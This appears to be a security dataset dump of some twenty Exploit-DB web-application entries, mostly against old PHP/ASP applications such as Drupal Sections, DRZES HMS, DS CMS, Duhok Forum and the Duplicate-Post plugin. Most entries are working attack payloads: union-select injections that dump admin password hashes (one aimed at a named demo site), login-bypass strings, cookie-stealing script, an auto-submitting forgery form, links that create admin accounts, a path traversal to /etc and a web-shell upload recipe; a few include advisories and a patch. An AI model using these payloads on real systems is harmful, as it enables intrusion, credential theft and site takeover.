deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10485
Description: Drupal Module Sections - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-16
Author: Justin C. Klein Keane

Exploit:
The text of this announcment is also available at
http://www.madirish.net/?article=440

Description of Vulnerability:
- - - -----------------------------
Drupal (http://drupal.org) is a robust content management system (CMS)
written in PHP and MySQL that provides extensibility through various
third party modules.  The Sections module
(http://drupal.org/project/sections) "allows you to create sections
within your site. Each section has an installed template, theme or style
attached to it."

The Sections module contains a cross site scripting vulnerability
because it does not properly sanitize output of section names before
display.

Systems affected:
- - - -----------------
Drupal 6.14 with Sections 6.x-1.2 was tested and shown to be vulnerable.

Impact:
- - - -------
XSS vulnerabilities may expose site administrative accounts to
compromise which could lead to web server process compromise.

Mitigating factors:
- - - -------------------
The Sections module must be installed.  To carry out a Sections based
XSS proof of concept exploit below the attacker must have 'administer
sections' permissions.

Proof of Concept:
- - ---------------------
1.  Install Drupal 6.14
2.  Install Sections 6.x-1.2
3.  Enable the Sections module from Administer -> Site building -> Modules
4.  Click Administer -> Site building -> Sections
5.  Click the 'Add section' button
5.  Enter "<script>alert('xss');</script>" in the 'Name' text area
6.  Click the 'Add section' button to save the section and observe the
rendered JavaScript
7.  Click on the 'Sections' link in the navigation to observe the
rendered JavaScript

Technical details:
- - ------------------------
The Sections module fails to sanitize the output of the section name
before display.  Applying the following patch fixes this vulnerability.

Patch
- - -------
Applying the following patch mitigates these threats.

- --- sections/sections.admin.inc 2008-06-01 08:51:51.000000000 -0400
+++ sections.fixed/sections.admin.inc   2009-11-06 15:43:53.997416137 -0500
@@ -234,6 +234,7 @@ function theme_sections_admin_display_fo
   foreach (element_children($form['sections']) as $key => $id) {
     // Don't take form control structures.
     if (is_array($form['sections'][$id]['name'])) {
+      $form['sections'][$id]['name']['#value'] =
filter_xss($form['sections'][$id]['name']['#value']);
       $form['sections'][$id]['weight']['#attributes']['class'] =
'sections-order-weight';
       $rows[] = array(
         'data' => array(


Vendor Response
- ---------------
Upgrade to the latest version.
SA-CONTRIB-2009-112 http://drupal.org/node/661404

- -- 
Justin C. Klein Keane
http://www.MadIrish.net
Exploit-DB #33410
Description: Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: Justin C. Klein Keane

Exploit:
source: https://www.securityfocus.com/bid/37371/info

The Sections module for Drupal is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

To exploit this issue, the attacker must have 'administer sections' permissions.

Versions prior to Sections 5.x-1.3 and 6.x-1.3 are vulnerable. 

The following example input is available:

<script>alert('xss');</script>
Exploit-DB #26758
Description: DRZES Hms 3.2 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-07
Author: Vipsta

Exploit:
source: https://www.securityfocus.com/bid/15766/info

DRZES HMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #26663
Description: DRZES Hms 3.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15644/info

DRZES HMS is prone to multiple SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before it is used in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

DRZES HMS Version 3.2 and prior are reported to be vulnerable; earlier versions may also be affected. 

http://www.example.com/customers/domains.php?plan_id=[SQL]
http://www.example.com/customers/viewinvoice.php?invoiceID=[SQL]
http://www.example.com/customers/viewplan.php?customerPlanID=[SQL]
http://www.example.com/customers/referred_plans.php?ref_id=[SQL]
http://www.example.com/customers/referred_plans.php?sort=id&order=asc&ref_id=[SQL]
http://www.example.com/customers/viewusage.php?plan_id=[SQL]
http://www.example.com/customers/listcharges.php?customerPlanID=[SQL]
http://www.example.com/customers/pop_accounts.php?plan_id=[SQL]
http://www.example.com/customers/pop_accounts.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/databases.php?plan_id=[SQL]
http://www.example.com/customers/databases.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/ftp_users.php?plan_id=[SQL]
http://www.example.com/customers/ftp_users.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/crons.php?plan_id=[SQL]
http://www.example.com/customers/crons.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/pass_dirs.php?plan_id=[SQL]
http://www.example.com/customers/pass_dirs.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/zone_files.php?plan_id=[SQL]
http://www.example.com/customers/zone_files.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/htaccess.php?plan_id=[SQL]
http://www.example.com/customers/htaccess.php?plan_id=35&domain=[SQL]
http://www.example.com/customers/software.php?plan_id=[SQL]
http://www.example.com/customers/software.php?plan_id=35&domain=[SQL]
Exploit-DB #10889
Description: DS CMS 1.0 - 'NewsId' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-01
Author: Palyo34

Exploit:
 Script      : DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability

 Script site : http://cms.dsinternal.com/Home 

 AUTHOR      :  Palyo34 
   
 HOME        : http://www.1923turk.biz
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
-------
http://server/path/pfNewsDetail.php?NewsId=[SQL]

Example:

-1/**/union/**/all/**/select/**/1,2,group_concat(UserPass,0x3a,UserName),4+from+admin_user_info--
Exploit-DB #9440
Description: DS CMS 1.0 - 'nFileId' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-14
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :DS CMS 1.0 (nFileId) Remote SQL Injection Vulnerability

[+] Script site : http://cms.dsinternal.com/Home 

[+] D0rk : Copyright Â© DigitalSpinners, 2009.

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
-------
http://www.xxx.com/path/DetailFile.php?nFileId=[SQL]


Demo:
-----
http://www.cmsdemo.dsinternal.com/DetailFile.php?nFileId=-40+union+select+1,2,3,group_concat%28UserPass,0x3a,UserName%29,5,6+from+admin_user_info--
-----

# milw0rm.com [2009-08-14]
Exploit-DB #27423
Description: DSCounter 1.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-14
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17112/info

DSCounter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof of concept has been provided:

Get /index.php HTTP/1.0
Host: [host]
X-Forwarded-For: aaa' or 1/*
Exploit-DB #27424
Description: DSDownload 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-15
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17116/info

DSDownload is prone to multiple SQL-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in SQL queries.

This will allow an attacker to inject arbitrary SQL logic into the vulnerable parameters and scripts. As a result, the attacker may be able to access or modify sensitive information, compromise the application, or even compromise the underlying database. Other attacks are possible.

http://www.example.com/dsdownload/downloads.php? category=999'% 20union%20select% 206,2,3,4,5, 1,7,8/*
Exploit-DB #34323
Description: DSite CMS 4.81 - 'modmenu.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41724/info

DSite CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

DSite CMS 4.81 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/plugin.php?menu_id=1&module=menu&plitem=modmenu.php" method="post" name="main" >
<input type="hidden" name="module" value="menu" />
<input type="hidden" name="plitem" value="modmenu.php" />
<input type="hidden" name="menu_id" value="1" />
<input type="hidden" name="button_name" value='bn"><script>alert(document.cookie)</script>' />
<input type="hidden" name="new_make" value="YES" />
</form>
<script>
document.main.submit();
</script>
Exploit-DB #27485
Description: DSLogin 1.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-27
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17262/info

DSLogin is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/dslogin/index.php
Username: ' or 1/*
Password: any
Exploit-DB #24131
Description: dsm light Web file browser 2.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2004-05-18
Author: Humberto

Exploit:
source: https://www.securityfocus.com/bid/10381/info

DSM Light has been reported to be prone to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue would allow an attacker to view arbitrary, web-readable files on the affected computer. This may aid an attacker in conducting further attacks against the vulnerable computer.

http://www.example.com/htmlarea/popups/explorer.php?wdir=/../../../../../../../../../../etc
Exploit-DB #29472
Description: DT_Guestbook 1.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-16
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/22078/info

The 'dt_guestbook' program is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.0f is vulnerable; other versions may also be affected. 

http://www.example.com/[dt_guestbook_v1-directory]/index.php?submit=1&error[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #10462
Description: DubSite CMS 1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-15
Author: Connection

Exploit:
Pentest Information:
====================
Connection has discovered a Cross Site Request Forgery(CSRF) vulnerability in DubSite CMS v1.0


Details
=======
Tested on OS:		Windows XP
Tested with Software:	Mozilla Firefox 3.5.x

Vulnerable Products: 	DubSite CMS
Affected Versions:	1.0 	
Vulnerability Type:	Cross Site Request Forgery
Security-Risk: 		High

Vendor-URL: 		http://www.dubsite.net
Preview-URL:		http://www.opensourcecms.com/demo/1/282/Dubsite

Vendor-Status: 		Not informed
Patch/Fix-Status:	Fixed version not released
Advisory-Status:	Written | 12/15/09

Advisory-URL: 		
Report-URL:		


Introduction:
=============
Dubsite CMS is a minimalistic yet powerful approach to web content management. Dubsite is written in PHP, built upon the Zend Framework and published under the GNU General Public License. It's goal is to simplify effective management and handling of websites without being overbearing to non-technical users.

(Copy from the vendors homepage: http://www.dubsite.net)

More Details:
=============
Due to the lack of multiple input validation errors, an attacker is able to change the password of the administrative user

Proof of Concept:
=================
The following link will change the password of the administrative account. Changing the options will also allow you to change the name of the admin account:

http://server/dubsite/index.php/admin/users/accounts/edit/1?username=admin&user[CREDENTIAL_REDACTED]=own3d&role_id=1&active=1&update=Update

This link creates a user "hax0r" with password test123 and adds it to the administrator group.

http://server/dubsite/index.php/admin/users/accounts?role_id=1&username=hax0r&user[CREDENTIAL_REDACTED]=test123&create=Create

Fix & Patch:
============
To fix the bugs a token system is highly advised

Security Risk:
==============
An attacker is able to change the password of the administrative user thus having complete control over the site. The risk is estimated as HIGH

Author:
=======
The Author & Writer is a Part of the HackTalk Security Group.

~CONNECTION
Exploit-DB #11744
Description: Duhok Forum 1.0 script - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-15
Author: indoushka

Exploit:
========================================================================================
| # Title    : Duhok Forum 1.0 script Cross Site Scripting Vulnerability
| # Author   : indoushka
| # email    : indoushka@hotmail.com
| # Home     : www.iq-ty.com                                                                                                               $
| # Dork     : &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; duhokFrm 1.0                                                                                       $
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)
| # Bug      : XSS
======================      Exploit By indoushka       =================================
 # Exploit  :

 1 - http://127.0.0.1/st/index.php?mode=register&Approval=1 (1 register in to the web site)

 2 - http://127.0.0.1/st/index.php?mode=editor&method=topic&f=1&c=1 (2 past a new post )

Put this code 4 virified is infected or not <ScRiPt>alert[PII_REDACTED]60)</ScRiPt> a test post

 3- if it infected post a new post and use cookie Graber

Dz-Ghost Team ===== Saoucha * Star08 * Redda * n2n * XproratiX ==========================================
Exploit-db Team :
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net
www.alkrsan.net * www.kadmiwe.net * www.arhack.net
---------------------------------------------------------------------------------------------------------
Exploit-DB #15638
Description: Duhok Forum 1.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-30
Author: BrOx-Dz

Exploit:
==============================================
Duhok Forum Remot upload Vulnerability
==============================================

####################################################################
# Exploit Title: Duhok Forum Remot upload Shell Vulnerability
# Date: 30-11-2010
# Author: BrOx-Dz
# email : E.dz@hotmail.fr
# Software Link: http://www.duhoktimes.com/df/
# Version: all version
# Tested on: windows xp pack 3 linux ubuntu 10
# home  : algerie // Free  Gaza// 
 
####################################################################

===[  Vulnerable File ]===

/admin/up_xml.php
/admin/up_style.php
/idara/up_xml.php
/idara/up_style.php
 
===[ Exploit ]===

1- go www.site.com/patch/admin/up_style.php or www.site.com/patch/idara/up_style.php

2- upload shell "shell.css" and use tamper data

3- and go www.site.com/patch/slyle/style_shell.php


 .. enjoy --
 
####################################################################

greetz : kader11000 lagripe-dz  mca_crb NetCat-Dz    all dz members

www.h4kz.net   www.v4-team.com   www.vbspiders.com  www.dz4all.com/cc
Exploit-DB #17335
Description: Duhok Forum 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-28
Author: M.Jock3R

Exploit:
===================================================================
DuhokForum <= 1.1 (index.php) SQL Injection Vulnerability
===================================================================

# Exploit Title: DuhokForum <= 1.1 (index.php) SQL Injection Vulnerability
# Date: 28-05-2011
# Author: M.Jock3R
# Vendor or Software Link: http://www.duhoktimes.com/df/?file=duhokforum-1.1
# Version: 1.1
# Category:: webapps
# Google dork: duhokFrm 1.1 © Dilovan 2007 - 2008
# Tested on: windows XP Sp2 FR
# Demo site: http://forum2009.eb2a.com/index.php?mode=f&f=1'

Exploit:
http:localhost/duhokfrm/index.php?modd=[Inj3ct Here ;)]

===================================================================
Greets To : 

Adelsbm / attiadona / Wjforum 

mail : madrido.jocker@gmail.com

THANKS TO ALL ALGERIAN HACK3R, FOR FREE GAZA 
===================================================================
Exploit-DB #47424
Description: Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-26
Author: Unk9vvN

Exploit:
# Exploit Title: Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-06-11
# Exploit Author: Unk9vvN
# Vendor Homepage: https://duplicate-post.lopo.it/
# Software Link: https://wordpress.org/plugins/duplicate-post/
# Version: 3.2.3
# Tested on: Kali Linux
# CVE: N/A

# Description
# This vulnerability is in the validation mode and is located in the plugin management panel and the vulnerability type is stored . the vulnerability parameters are as follows.

1.Go to the 'Settings' section
2.Enter the payload in the "Title prefix", "Title suffix", "Increase menu order by", "Do not copy these fields" sections
3.Click the "Save Changes" option
4.Your payload will run

# URI: http://localhost/wp-admin/options-general.php?page=duplicatepost
# Parameter & Payoad: 

duplicate_post_title_prefix="><script>alert(1)</script>
duplicate_post_title_suffix="><script>alert(1)</script>
duplicate_post_increase_menu_order_by="><script>alert(1)</script>
duplicate_post_blacklist="><script>alert(1)</script>


#
# PoC
#
POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/options-general.php?page=duplicatepost
Content-Type: application/x-www-form-urlencoded
Content-Length: 981
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

option_page=duplicate_post_group&action=update&_wpnonce=0e8a49a372&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicatepost%26settings-updated%3Dtrue&duplicate_post_copytitle=1&duplicate_post_copyexcerpt=1&duplicate_post_copycontent=1&duplicate_post_copythumbnail=1&duplicate_post_copytemplate=1&duplicate_post_copyformat=1&duplicate_post_copymenuorder=1&duplicate_post_title_prefix=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_title_suffix=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_increase_menu_order_by=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_blacklist=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_roles%5B%5D=administrator&duplicate_post_roles%5B%5D=editor&duplicate_post_types_enabled%5B%5D=post&duplicate_post_types_enabled%5B%5D=page&duplicate_post_show_row=1&duplicate_post_show_submitbox=1&duplicate_post_show_adminbar=1&duplicate_post_show_bulkactions=1&duplicate_post_show_notice=1


# Discovered by:
https://t.me/Unk9vvN
Exploit-DB #25861
Description: DUware DUamazon Pro 3.0/3.1 - 'productDelete.asp?iCat' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14033/info
 
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/admin/productDelete.asp?iPro=37&iCat=12[SQL Inject]
Exploit-DB #25862
Description: DUware DUamazon Pro 3.0/3.1 - 'productEdit.asp?iCat' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14033/info
  
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/admin/productEdit.asp?iPro=34&iCat=12[SQL Inject]